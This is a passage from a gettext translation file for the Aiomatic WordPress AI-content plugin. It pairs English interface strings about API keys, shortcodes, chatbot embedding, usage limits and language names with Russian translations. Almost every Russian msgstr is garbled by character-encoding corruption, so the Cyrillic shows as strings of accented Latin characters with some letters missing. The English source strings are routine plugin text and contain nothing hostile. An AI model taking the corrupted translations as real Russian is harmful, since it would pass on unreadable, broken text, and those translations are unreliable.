res/aiomatic-main.php:6277 msgid "word1, word2, word3" msgstr "Ñлово1, Ñлово2, Ñлово3" #: aiomatic-automatic-ai-content-writer.php:13772 #: aiomatic-automatic-ai-content-writer.php:14558 #: res/aiomatic-automation-list.php:1134 res/aiomatic-automation-list.php:1922 #: res/aiomatic-automation-list.php:3601 res/aiomatic-automation-list.php:4389 #: res/aiomatic-automation-list.php:6354 res/aiomatic-automation-list.php:7150 msgid "WordPress (Default)" msgstr "WordPress (по умолчанию)" #: res/aiomatic-spinner-list.php:4156 msgid "WordPress Cron Job" msgstr "WordPress Cron Job" #: res/aiomatic-logs.php:99 res/aiomatic-logs.php:103 msgid "WordPress Environment" msgstr "Среда WordPress" #: aiomatic-automatic-ai-content-writer.php:759 msgid "Working..." msgstr "Работающий..." #: res/aiomatic-logs.php:149 msgid "WP Debug Mode" msgstr "Режим отладки WP" #: res/aiomatic-logs.php:149 msgid "WP Debug Mode:" msgstr "Режим отладки WP:" #: res/aiomatic-logs.php:324 msgid "WP Max Upload Size" msgstr "WP Max Upload Size" #: res/aiomatic-logs.php:324 msgid "WP Max Upload Size:" msgstr "WP Max Upload Size:" #: res/aiomatic-logs.php:133 msgid "WP Memory Limit" msgstr "WP Memory Limit" #: res/aiomatic-logs.php:133 msgid "WP Memory Limit:" msgstr "WP Memory Limit:" #: res/aiomatic-logs.php:126 msgid "WP Multisite" msgstr "WP МультиÑайт" #: res/aiomatic-logs.php:126 msgid "WP Multisite:" msgstr "WP МультиÑайт:" #: res/aiomatic-logs.php:120 msgid "WP Version" msgstr "WP-верÑиÑ" #: res/aiomatic-logs.php:120 msgid "WP Version:" msgstr "WP-верÑиÑ:" #: res/aiomatic-main.php:42 msgid "WP-CLI" msgstr "WP-CLI" #: res/aiomatic-main.php:4123 msgid "WP-CLI Settings:" msgstr "ÐаÑтройки WP-CLI:" #: res/aiomatic-logs.php:378 msgid "WP-Cron url" msgstr "WP-Cron url" #: aiomatic-automation.php:1192 msgid "WPML/Polylang Language" msgstr "Язык WPML/Polylang" #: res/admin/ai-post-gutenberg.php:34 res/admin/ai-post.php:34 #, php-format msgid "" "Write a captivating and succinct English summary for the WordPress %s: " "\"%s\", accentuating its pivotal features, advantages, and distinctive " "qualities." msgstr "" "Ðапишите увлекательное и краткое резюме на английÑком Ñзыке Ð´Ð»Ñ WordPress %s:" " «%s», подчеркнув его оÑновные функции, преимущеÑтва и отличительные " "качеÑтва." #: aiomatic-automatic-ai-content-writer.php:709 msgid "Write Description Using AI" msgstr "Ðапишите ОпиÑание Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI" #: res/aiomatic-main.php:5254 msgid "Write Separate SEO Description" msgstr "Ðапишите Отдельное SEO-ОпиÑание" #: res/aiomatic-amazon-list.php:3356 res/aiomatic-review-list.php:3383 #: res/aiomatic-rules-list.php:3513 res/aiomatic-single-list.php:671 #: res/aiomatic-youtube-list.php:3250 msgid "Writing Style" msgstr "Стиль пиÑьма" #: res/aiomatic-amazon-list.php:740 res/aiomatic-review-list.php:712 #: res/aiomatic-rules-list.php:679 res/aiomatic-single-list.php:1632 #: res/aiomatic-single-list.php:3620 res/aiomatic-single-list.php:4948 #: res/aiomatic-single-list.php:6217 res/aiomatic-youtube-list.php:682 msgid "Writing Style:" msgstr "Стиль пиÑьма:" #: res/aiomatic-amazon-list.php:3368 res/aiomatic-review-list.php:3395 #: res/aiomatic-rules-list.php:3525 res/aiomatic-single-list.php:726 #: res/aiomatic-youtube-list.php:3262 msgid "Writing Tone" msgstr "Тон пиÑьма" #: res/aiomatic-amazon-list.php:804 res/aiomatic-review-list.php:776 #: res/aiomatic-rules-list.php:743 res/aiomatic-single-list.php:1696 #: res/aiomatic-single-list.php:3684 res/aiomatic-single-list.php:5012 #: res/aiomatic-single-list.php:6281 res/aiomatic-youtube-list.php:746 msgid "Writing Tone:" msgstr "Тон пиÑьма:" #: aiomatic-automation.php:879 msgid "X (Twitter) Post Image URL" msgstr "X (Twitter) URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñта" #: aiomatic-automation.php:872 msgid "X (Twitter) Post Template" msgstr "Шаблон поÑта X (Twitter)" #: res/aiomatic-amazon-list.php:107 res/aiomatic-review-list.php:107 #: res/aiomatic-rules-list.php:107 res/aiomatic-single-list.php:107 #: res/aiomatic-single-list.php:245 res/aiomatic-youtube-list.php:107 msgid "Xhosa" msgstr "КоÑа" #: res/aiomatic-languages.php:107 msgid "Xhosa (Google Translate)" msgstr "КхоÑа (Google Translate)" #: res/aiomatic-limits-statistics.php:121 #: res/aiomatic-limits-statistics.php:874 #: res/aiomatic-limits-statistics.php:1005 #: res/aiomatic-limits-statistics.php:1168 #: res/aiomatic-limits-statistics.php:1332 #: res/aiomatic-limits-statistics.php:1530 msgid "Year" msgstr "Год" #: res/aiomatic-embeddings.php:555 res/aiomatic-spinner-list.php:4603 msgid "Year Query:" msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð³Ð¾Ð´Ð°:" #: aiomatic-automatic-ai-content-writer.php:177 #: aiomatic-automatic-ai-content-writer.php:13233 #: aiomatic-automatic-ai-content-writer.php:14131 #: res/aiomatic-automation-list.php:595 res/aiomatic-automation-list.php:1499 #: res/aiomatic-automation-list.php:3062 res/aiomatic-automation-list.php:3966 #: res/aiomatic-automation-list.php:5815 res/aiomatic-automation-list.php:6723 #: res/aiomatic-limits-statistics.php:136 #: res/aiomatic-limits-statistics.php:268 #: res/aiomatic-limits-statistics.php:1536 #: res/aiomatic-limits-statistics.php:1652 res/aiomatic-shortcodes.php:47 #: res/aiomatic-single-list.php:554 res/aiomatic-single-list.php:906 #: res/aiomatic-single-list.php:7340 msgid "Yes" msgstr "Да" #: res/aiomatic-amazon-list.php:57 res/aiomatic-review-list.php:57 #: res/aiomatic-rules-list.php:57 res/aiomatic-single-list.php:57 #: res/aiomatic-single-list.php:195 res/aiomatic-youtube-list.php:57 msgid "Yiddish" msgstr "Идиш" #: res/aiomatic-languages.php:57 msgid "Yiddish (Google Translate)" msgstr "Идиш (переводчик гугл)" #: res/aiomatic-amazon-list.php:108 res/aiomatic-review-list.php:108 #: res/aiomatic-rules-list.php:108 res/aiomatic-single-list.php:108 #: res/aiomatic-single-list.php:246 res/aiomatic-youtube-list.php:108 msgid "Yoruba" msgstr "Йоруба" #: res/aiomatic-languages.php:108 msgid "Yoruba (Google Translate)" msgstr "Йоруба (переводчик Google)" #: aiomatic-ajax-actions.php:3182 aiomatic-ajax-actions.php:3266 #: aiomatic-ajax-actions.php:3396 aiomatic-ajax-actions.php:3812 #: aiomatic-ajax-actions.php:5200 aiomatic-ajax-actions.php:8935 #: aiomatic-ajax-actions.php:9150 aiomatic-ajax-actions.php:9290 #: aiomatic-automatic-ai-content-writer.php:22176 aiomatic-streaming.php:134 #, php-format msgid "" "You are not allowed to access this form if you are not logged in. Please log in to continue." msgstr "" "Вам не разрешен доÑтуп к Ñтой форме, еÑли вы не вошли в ÑиÑтему. ПожалуйÑта " ", войдите , чтобы продолжить." #: aiomatic-automatic-ai-content-writer.php:18093 msgid "You are not allowed to activate plugins!" msgstr "Ð’Ñ‹ не можете активировать Плагины!" #: aiomatic-automatic-ai-content-writer.php:22097 aiomatic-streaming.php:27 msgid "You are not allowed to do this action!" msgstr "Вам не разрешено выполнÑÑ‚ÑŒ Ñто дейÑтвие!" #: aiomatic-automatic-ai-content-writer.php:4706 #: aiomatic-automatic-ai-content-writer.php:7466 #: aiomatic-automatic-ai-content-writer.php:8229 #: aiomatic-automatic-ai-content-writer.php:18115 #: aiomatic-automatic-ai-content-writer.php:18557 #: aiomatic-automatic-ai-content-writer.php:18936 msgid "You are not allowed to do this query" msgstr "Вам не разрешено выполнÑÑ‚ÑŒ Ñтот запроÑ" #: aiomatic-ajax-actions.php:4826 aiomatic-ajax-actions.php:4887 msgid "You are not allowed to do this." msgstr "Вам не разрешено Ñто делать." #: res/aiomatic-chatbot.php:667 msgid "" "You can add the chatbot globally to your site or locally to posts or pages. " "To add the chatbot locally, you can use the [aiomatic-chat-form] shortcode. " "If you want to add it globally, you need to go to the settings page of the " "plugin, go to the \"AI Chatbot\" menu of the plugin and navigate to the " "'Chatbot Website Injection' tab. Choose where you want the chatbot to appear " "on your website (e.g., on all front end, back end, except pages where you " "don't want the chatbot to appear)." msgstr "" "Ð’Ñ‹ можете добавить Чат-бота глобально на Ñвой Ñайт или локально в ПоÑÑ‚Ñ‹ или " "Страницы. Чтобы добавить Чат-бота локально, вы можете иÑпользовать Шорткод " "[aiomatic-chat-form]. ЕÑли вы хотите добавить его глобально, вам нужно " "перейти на Ñтраницу ÐаÑтроек Плагина, перейти в Меню Плагина «AI Chatbot» и " "перейти на вкладку «Внедрение Чат-бота на Ñайт». Выберите, где вы хотите, " "чтобы Чат-бот отображалÑÑ Ð½Ð° вашем веб-Ñайте (например, на вÑех передних и " "внутренних Страницах, за иÑключением Страниц, на которых вы не хотите, чтобы " "Чат-бот поÑвлÑлÑÑ)." #: aiomatic-ajax-actions.php:7864 res/aiomatic-shortcodes.php:35 msgid "" "You can add the value of this field to the form prompt from below, using " "this shortcode" msgstr "" "Ð’Ñ‹ можете добавить значение Ñтого ÐŸÐ¾Ð»Ñ Ð² Промпт Форму Ñнизу, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñтот " "Шорткод" #: res/aiomatic-main.php:1564 msgid "" "You can also add a fully customizable chatbot to your site to engage with " "visitors and provide them with the information they need in real-time." msgstr "" "Ð’Ñ‹ также можете добавить на Ñвой Ñайт полноÑтью наÑтраиваемого чат-бота, " "чтобы взаимодейÑтвовать Ñ Ð¿Ð¾ÑетителÑми и предоÑтавлÑÑ‚ÑŒ им необходимую " "информацию в режиме реального времени." #: res/aiomatic-spinner-list.php:888 msgid "" "You can also change the status of the posts after they were edited, using " "the 'Change Post Status After Editing' settings field." msgstr "" "Ð’Ñ‹ также можете изменить ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñтов поÑле их редактированиÑ, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ " "поле ÐаÑтроек «Изменить Ð¡Ñ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñта ПоÑле РедактированиÑ»." #: res/aiomatic-shortcodes.php:117 #, php-format #| msgid "" #| "You can also get started creating your own AI Forms. To do this, go to " #| "the 'Add A New AI Form' tab and start setting up your own forms. You can " #| "select between multiple form types (text, Dall-E 2 image or Stable " #| "Diffusion image), set a form name and description (which can be displayed " #| "on the top of the form, as a form headers). You can create also multiple " #| "input fields (of multiple types), using the 'Add A New Form Input Field' " #| "button, which will be used by users to enter their data. For each input " #| "field, you can set an 'ID', which will be used as a shortcode (and " #| "replaced with the value entered by the user) in the AI prompt you define " #| "in the form you build, using this format: %%input_ID%%. You will be also " #| "able to set some AI model advanced settings and configure the form's " #| "submit button text. For more detailed AI Forms customization, you can " #| "check the plugin's 'Main Settings' menu -> 'AI Forms' tab." msgid "" "You can also get started creating your own AI Forms. To do this, go to the " "'Add A New AI Form' tab and start setting up your own forms. You can select " "between multiple form types (text, Dall-E image or Stable Diffusion image), " "set a form name and description (which can be displayed on the top of the " "form, as a form headers). You can create also multiple input fields (of " "multiple types), using the 'Add A New Form Input Field' button, which will " "be used by users to enter their data. For each input field, you can set an " "'ID', which will be used as a shortcode (and replaced with the value entered " "by the user) in the AI prompt you define in the form you build, using this " "format: %%input_ID%%. You will be also able to set some AI model advanced " "settings and configure the form's submit button text. For more detailed AI " "Forms customization, you can check the plugin's 'Main Settings' menu -> 'AI " "Forms' tab." msgstr "" "Ð’Ñ‹ также можете начать Ñоздавать Ñвои ÑобÑтвенные формы AI. Ð”Ð»Ñ Ñтого " "перейдите на вкладку «Добавить новую форму AI» и начните наÑтройку " "ÑобÑтвенных форм. Ð’Ñ‹ можете выбирать между неÑколькими типами форм (текÑÑ‚, " "изображение Dall-E или изображение Stable Diffusion), уÑтанавливать Ð¸Ð¼Ñ Ð¸ " "опиÑание формы (которое может отображатьÑÑ Ð² верхней чаÑти формы в виде " "заголовков формы). Ð’Ñ‹ также можете Ñоздать неÑколько полей ввода (неÑколько " "типов), иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Добавить новое поле ввода формы», ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ " "иÑпользоватьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñми Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° Ñвоих данных. Ð”Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð° " "вы можете уÑтановить «ID», который будет иÑпользоватьÑÑ Ð² качеÑтве короткого " "кода (и заменÑÑ‚ÑŒÑÑ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸ÐµÐ¼, введенным пользователем) в промпте AI, которую " "вы определÑете в форме, которую вы Ñоздаете, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñтот формат: " "%%input_ID%%. Ð’Ñ‹ также Ñможете уÑтановить некоторые дополнительные наÑтройки " "модели AI и наÑтроить текÑÑ‚ кнопки отправки формы. Ð”Ð»Ñ Ð±Ð¾Ð»ÐµÐµ детальной " "наÑтройки AI Формы вы можете проверить меню «ОÑновные наÑтройки» плагина -> " "вкладка «AI Формы»." #: res/aiomatic-csv-list.php:929 msgid "You can also use Google Drive for CSV file storage:" msgstr "Ð’Ñ‹ также можете иÑпользовать Google ДиÑк Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² CSV:" #: res/admin/ai-post-gutenberg.php:206 res/admin/ai-post.php:199 #, php-format msgid "" "You can edit default values for the above fields, here" msgstr "" "Ð’Ñ‹ можете изменить Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾ умолчанию Ð´Ð»Ñ Ð²Ñ‹ÑˆÐµÑƒÐºÐ°Ð·Ð°Ð½Ð½Ñ‹Ñ… полей, здеÑÑŒ." #: res/aiomatic-training.php:206 msgid "You can load .csv or .jsonl files." msgstr "Ð’Ñ‹ можете загрузить файлы .csv или .jsonl." #: res/aiomatic-shortcodes.php:118 msgid "" "You can set up the AI Forms in the front end of your site, by using the " "[aiomatic-form id=\"FORM_ID\"] shortcode. You can get the shortcode for each " "form, from the 'List AI Forms' tab from above. Here you will be able to " "manage (edit, delete, preview) created AI Forms." msgstr "" "Ð’Ñ‹ можете наÑтроить AI-формы в интерфейÑе вашего Ñайта, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´ " "[aiomatic-form id=\"FORM_ID\"]. Ð’Ñ‹ можете получить Шорткод Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ формы " "на вкладке «СпиÑок Форм AI» Ñверху. ЗдеÑÑŒ вы Ñможете управлÑÑ‚ÑŒ " "(редактировать, удалÑÑ‚ÑŒ, проÑматривать) Созданные Формы AI." #: res/admin/ai-post-gutenberg.php:159 res/admin/ai-post-gutenberg.php:169 #: res/admin/ai-post-gutenberg.php:179 res/admin/ai-post-gutenberg.php:189 #: res/admin/ai-post-gutenberg.php:199 res/admin/ai-post.php:152 #: res/admin/ai-post.php:162 res/admin/ai-post.php:172 #: res/admin/ai-post.php:182 res/admin/ai-post.php:192 #, php-format msgid "" "You can use the following shortcodes here: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to usersm using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." msgstr "" "ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%, " "%%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать " "пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ " "также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта -" " Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по " "правилам других плагинов)." #: res/aiomatic-chatbot.php:4292 msgid "You can use this code to embed the chatbot on other websites:" msgstr "" "Ð’Ñ‹ можете иÑпользовать Ñтот код Ð´Ð»Ñ Ð²ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð§Ð°Ñ‚-бота на другие Ñайты:" #: res/aiomatic-limits-statistics.php:491 msgid "" "You can use this table to monitor the usage of the plugin and track any " "unusual activity." msgstr "" "Ð’Ñ‹ можете иÑпользовать Ñту таблицу Ð´Ð»Ñ Ð¼Ð¾Ð½Ð¸Ñ‚Ð¾Ñ€Ð¸Ð½Ð³Ð° иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° и " "отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð»ÑŽÐ±Ñ‹Ñ… необычных дейÑтвий." #: res/StatisticsClass.php:116 res/StatisticsClass.php:130 #: res/StatisticsClass.php:217 res/StatisticsClass.php:414 #: res/StatisticsClass.php:418 msgid "You have reached the usage limit." msgstr "Ð’Ñ‹ доÑтигли предела иÑпользованиÑ." #: res/aiomatic-embeddings.php:15 #| msgid "" #| "You must add a Pinecone API key in the plugin's 'Main Settings' menu (API " #| "Keys tab), before you can use this feature!" msgid "" "You must add a Pinecone API or a Qdrant API key in the plugin's 'Main " "Settings' menu (API Keys tab), before you can use this feature!" msgstr "" "Ð’Ñ‹ должны добавить API-ключ Pinecone или Qdrant в меню \"ОÑновные " "наÑтройки\" плагина (вкладка \"API-ключи\"), прежде чем Ñможете иÑпользовать " "Ñту функцию!" #: res/aiomatic-embeddings.php:22 #| msgid "" #| "You must add a Pinecone index in the plugin's 'Main Settings' menu " #| "(Embeddings tab), before you can use this feature!" msgid "" "You must add a Pinecone or a Qdrant index in the plugin's 'Main Settings' " "menu (Embeddings tab), before you can use this feature!" msgstr "" "Ð’Ñ‹ должны добавить Ð¸Ð½Ð´ÐµÐºÑ Pinecone или Qdrant в меню \"ОÑновные наÑтройки\" " "плагина (вкладка Ð’ÑтраиваниÑ), прежде чем Ñможете иÑпользовать Ñту функцию!" #: res/aiomatic-assistants.php:9 res/aiomatic-training.php:9 msgid "" "You must add an OpenAI API Key into the plugin's 'Main Settings' menu before " "you can use this feature!" msgstr "" "Ð’Ñ‹ должны добавить ключ API OpenAI в меню «ОÑновные ÐаÑтройки» Плагина, " "прежде чем Ñможете иÑпользовать Ñту функцию!" #: res/aiomatic-amazon-list.php:158 res/aiomatic-automation-list.php:57 #: res/aiomatic-chatbot.php:58 res/aiomatic-csv-list.php:20 #: res/aiomatic-embeddings.php:8 res/aiomatic-images.php:8 #: res/aiomatic-playground.php:8 res/aiomatic-review-list.php:158 #: res/aiomatic-rules-list.php:158 res/aiomatic-shortcodes.php:8 #: res/aiomatic-spinner-list.php:8 res/aiomatic-youtube-list.php:158 msgid "" "You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Main Settings' " "menu before you can use this feature!" msgstr "" "Ð’Ñ‹ должны добавить API-ключ OpenAI/AiomaticAPI в меню «ОÑновные ÐаÑтройки» " "Плагина, прежде чем Ñможете иÑпользовать Ñту функцию!" #: res/aiomatic-spinner-list.php:4250 msgid "You must enter a secret word above, to use this feature." msgstr "Ð’Ñ‹ должны ввеÑти Ñекретное Ñлово выше, чтобы иÑпользовать Ñту функцию." #: aiomatic-shortcodes-file.php:3616 msgid "" "You need to add a list of persona IDs, in the ai_personas shortcode " "parameter." msgstr "" "Вам нужно добавить ÑпиÑок идентификаторов перÑон в параметре шорткода " "ai_personas." #: aiomatic-shortcodes-file.php:7210 aiomatic-shortcodes-file.php:7305 msgid "" "You need to add a PlagiarismCheck API key in plugin settings for this " "shortcode to work." msgstr "" "Чтобы шорткод работал, необходимо добавить API-ключ PlagiarismCheck в " "наÑтройках плагина." #: res/aiomatic-assistants.php:32 msgid "You need to add an API key in plugin settings for this to work." msgstr "Чтобы Ñто работало, необходимо добавить API-ключ в наÑтройках плагина." #: res/aiomatic-chatbot.php:2076 msgid "" "You need to enable Embeddings for the Chatbot -> go to the 'Embeddings' tab " "in the same menu and check the 'Enable Embeddings For' -> 'Chatbot " "Shortcodes' checkbox -> save settings." msgstr "" "Вам нужно включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота -> перейдите на вкладку " "«ВÑтраиваниÑ» в том же меню и уÑтановите флажок «Включить вÑтраивание длÑ»-> " "«Шорткоды Чат-бота» -> Ñохраните наÑтройки." #: aiomatic-ajax-actions.php:4933 msgid "You need to enable Embeddings for the Chatbot for this to work" msgstr "Чтобы Ñто Ñработало, необходимо включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота." #: aiomatic-ajax-actions.php:4940 msgid "You need to enable PDF chat in plugin settings." msgstr "Вам нужно включить PDF-чат в наÑтройках плагина." #: res/aiomatic-limits-statistics.php:767 #: res/aiomatic-limits-statistics.php:1039 #: res/aiomatic-limits-statistics.php:1665 #: res/aiomatic-limits-statistics.php:1794 msgid "" "You need to enable the 'Enable Usage Tracking For Statistics And Usage " "Limits' checkbox from the plugin's 'Main Settings' menu to enable this " "feature." msgstr "" "Вам необходимо уÑтановить флажок «Включить отÑлеживание иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ " "ÑтатиÑтики и лимитов иÑпользованиÑ» в меню «ОÑновные ÐаÑтройки» Плагина, " "чтобы включить Ñту функцию." #: res/aiomatic-chatbot.php:2684 msgid "" "You need to enter a ElevenLabs.io API key, D-ID API key or a Google Text-to-" "Speech API key in the 'API Keys' tab and save settings, to use this feature." msgstr "" "Вам необходимо ввеÑти ключ API ElevenLabs.io, ключ API D-ID или ключ Google " "Text-to-Speech API на вкладке «Ключи API» и Ñохранить наÑтройки, чтобы " "иÑпользовать Ñту функцию." #: aiomatic-ajax-actions.php:4927 msgid "" "You need to enter a Pinecone.io API or a Qdrant API key for this to work" msgstr "" "Чтобы Ñто работало, вам необходимо ввеÑти ключ API Pinecone.io или ключ API " "Qdrant." #: res/aiomatic-main.php:6982 #| msgid "" #| "You need to enter a Pinecone.io API key in the 'API Keys' tab and save " #| "settings, to use this feature." msgid "" "You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' " "tab and save settings, to use this feature." msgstr "" "Чтобы воÑпользоватьÑÑ Ñтой функцией, необходимо ввеÑти API-ключ Pinecone.io " "или API-ключ Qdrant на вкладке \"API-ключи\" и Ñохранить наÑтройки." #: res/aiomatic-chatbot.php:2071 msgid "" "You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' " "tab to use this feature, go to the plugin's 'Main Settings' menu -> in the " "'API Keys' tab, set up an API key for a vector database ('Embeddings API " "Options' section)" msgstr "" "Чтобы иÑпользовать Ñту функцию, вам необходимо ввеÑти ключ API Pinecone.io " "или ключ API Qdrant на вкладке «Ключи API». Перейдите в меню «ОÑновные " "наÑтройки» плагина -> на вкладке «Ключи API», наÑтройте ключ API. Ð´Ð»Ñ " "векторной базы данных (раздел «Параметры API Ð’ÑтраиваниÑ»)" #: aiomatic-ajax-actions.php:4911 msgid "You need to enter an OpenAI API key for this feature to work." msgstr "Чтобы Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð»Ð°, вам необходимо ввеÑти ключ API OpenAI." #: aiomatic-automatic-ai-content-writer.php:22112 msgid "You need to insert a valid Anthropic Claude API Key for this to work!" msgstr "Ð”Ð»Ñ Ñтого необходимо ввеÑти дейÑтвительный API-ключ Anthropic Claude!" #: aiomatic-ajax-actions.php:5192 aiomatic-ajax-actions.php:9281 #: aiomatic-streaming.php:54 msgid "You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!" msgstr "" "Ð”Ð»Ñ Ñтого необходимо ввеÑти дейÑтвительный ключ API OpenAI/AiomaticAPI!" #: aiomatic-ajax-actions.php:8659 msgid "You need to log in to perform this action!" msgstr "Чтобы выполнить Ñто дейÑтвие, необходимо войти в ÑиÑтему!" #: aiomatic-automatic-ai-content-writer.php:13625 #: aiomatic-automatic-ai-content-writer.php:14466 #: res/aiomatic-automation-list.php:987 res/aiomatic-automation-list.php:1816 #: res/aiomatic-automation-list.php:3454 res/aiomatic-automation-list.php:4283 #: res/aiomatic-automation-list.php:6207 res/aiomatic-automation-list.php:7058 msgid "You need to set up the Businessomatic plugin before using this feature!" msgstr "" "Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин " "Businessomatic!" #: aiomatic-automatic-ai-content-writer.php:13485 #: aiomatic-automatic-ai-content-writer.php:14351 #: res/aiomatic-automation-list.php:847 res/aiomatic-automation-list.php:1701 #: res/aiomatic-automation-list.php:3314 res/aiomatic-automation-list.php:4168 #: res/aiomatic-automation-list.php:6067 res/aiomatic-automation-list.php:6943 msgid "You need to set up the F-omatic plugin before using this feature!" msgstr "" "Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин F-omatic!" #: aiomatic-automatic-ai-content-writer.php:13664 #: aiomatic-automatic-ai-content-writer.php:14500 #: res/aiomatic-automation-list.php:1026 res/aiomatic-automation-list.php:1850 #: res/aiomatic-automation-list.php:3493 res/aiomatic-automation-list.php:4317 #: res/aiomatic-automation-list.php:6246 res/aiomatic-automation-list.php:7092 msgid "You need to set up the Linkedinomatic plugin before using this feature!" msgstr "" "Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин " "Linkedinomatic!" #: aiomatic-automatic-ai-content-writer.php:13598 #: aiomatic-automatic-ai-content-writer.php:14444 #: res/aiomatic-automation-list.php:960 res/aiomatic-automation-list.php:1794 #: res/aiomatic-automation-list.php:3427 res/aiomatic-automation-list.php:4261 #: res/aiomatic-automation-list.php:6180 res/aiomatic-automation-list.php:7036 msgid "" "You need to set up the Pinterestomatic plugin before using this feature!" msgstr "" "Перед иÑпользованием Ñтой функции необходимо уÑтановить плагин " "Pinterestomatic!" #: aiomatic-shortcodes-file.php:613 msgid "You need to specify the id parameter for this shortcode to work!" msgstr "Вам нужно указать параметр id, чтобы Ñтот Шорткод работал!" #: res/aiomatic-main.php:1582 msgid "You're all set!" msgstr "Готово!" #: res/aiomatic-chatbot.php:4702 msgid "Your Own HTML Or Image URL:" msgstr "Ваш ÑобÑтвенный URL-Ð°Ð´Ñ€ÐµÑ HTML или изображениÑ:" #: res/aiomatic-main.php:1692 #, php-format msgid "" "Your support for Aiomatic has expired. Please renew it to continue receiving support for the plugin. " "After you renewed support, please click the \"Revoke License\" button, from " "the plugin's \"Main Settings\" menu -> \"Plugin Activation\" tab and add " "your license key again, to activate the plugin with the renewed support " "license." msgstr "" "Срок дейÑÑ‚Ð²Ð¸Ñ Ð²Ð°ÑˆÐµÐ¹ поддержки Aiomatic иÑтек. ПожалуйÑта, обновите ее, чтобы продолжить получать поддержку " "плагина. ПоÑле Ð¿Ñ€Ð¾Ð´Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸, пожалуйÑта, нажмите кнопку \"Отозвать " "лицензию\" в меню \"ОÑновные наÑтройки\" -> вкладка \"ÐÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð°\" и " "добавьте Ñвой лицензионный ключ Ñнова, чтобы активировать плагин Ñ " "продленной лицензией поддержки." #: res/aiomatic-logs.php:71 msgid "Your User Agent:" msgstr "Ваш User Agent:" #: res/aiomatic-main.php:2364 msgid "YouTube API Key List (Optional) (Used for Related Videos):" msgstr "" "СпиÑок ключей API YouTube (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ 